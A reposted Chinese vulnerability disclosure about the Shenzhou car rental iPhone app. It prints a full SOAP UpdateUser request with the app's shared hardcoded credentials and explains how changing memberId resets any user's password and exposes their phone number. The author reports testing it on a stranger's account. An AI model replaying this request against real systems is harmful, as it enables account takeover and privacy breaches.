来源:自学PHP网 时间:2015-04-16 23:14 作者: 阅读:次
[导读] 问题出在神州租车的app端,校验机制设计的太脆弱~下面是修改用户个人资料的请求数据包,数据包中的验证部分account、password居然是公共的所有用户的验证都是同样的值,又没有其他的...
问题出在神州租车的app端,校验机制设计的太脆弱~
下面是修改用户个人资料的请求数据包,数据包中的验证部分account、password居然是公共的所有用户的验证都是同样的值,又没有其他的验证机制,那么这里肯定可以修改任意用户的值~
POST http://sdk.zuche.com/CARSDK/services/zuche1 HTTP/1.1 Host: sdk.zuche.com Connection: close Accept-Encoding: gzip Content-Type: text/xml; charset=utf-8 Content-Length: 526 Connection: close SOAPAction: http://sdk.zuche.com/CARSDK/services/zuche1?UpdateUser User-Agent: 神州租车 2.6 (iPhone; iPhone OS 7.0.4; zh_CN) <?xml version='1.0' encoding='utf-8'?> <soap:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'> <soap:Header> <CheckSoap xmlns='http://tempuri.org/'> <Account>szzciphone</Account> <Password>szzc#iphone</Password> </CheckSoap> </soap:Header> <soap:Body> <UpdateUser xmlns='http://tempuri.org/'> <User>{"memberId":"3xxxx3","password":"123qwe","emailaddress":"xxxxx@sina.cn"}</User> </UpdateUser> </soap:Body> </soap:Envelope>
所以,我们通过修改memberId就能修改任意用户的信息,通过测试这里的emailaddress参数如果为空,将不会更改用户原来设置的值,修改不同id用户的密码后,系统会返回该用户的帐号信息(手机号码),那么有了手机号码,我们就能登陆任意用户的帐号,下面是我自己的帐号测试结果;
下面我们随意测试一个用户的帐号吧;
这个就是证明咯;
修复方案:
各种校验,没说的~
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com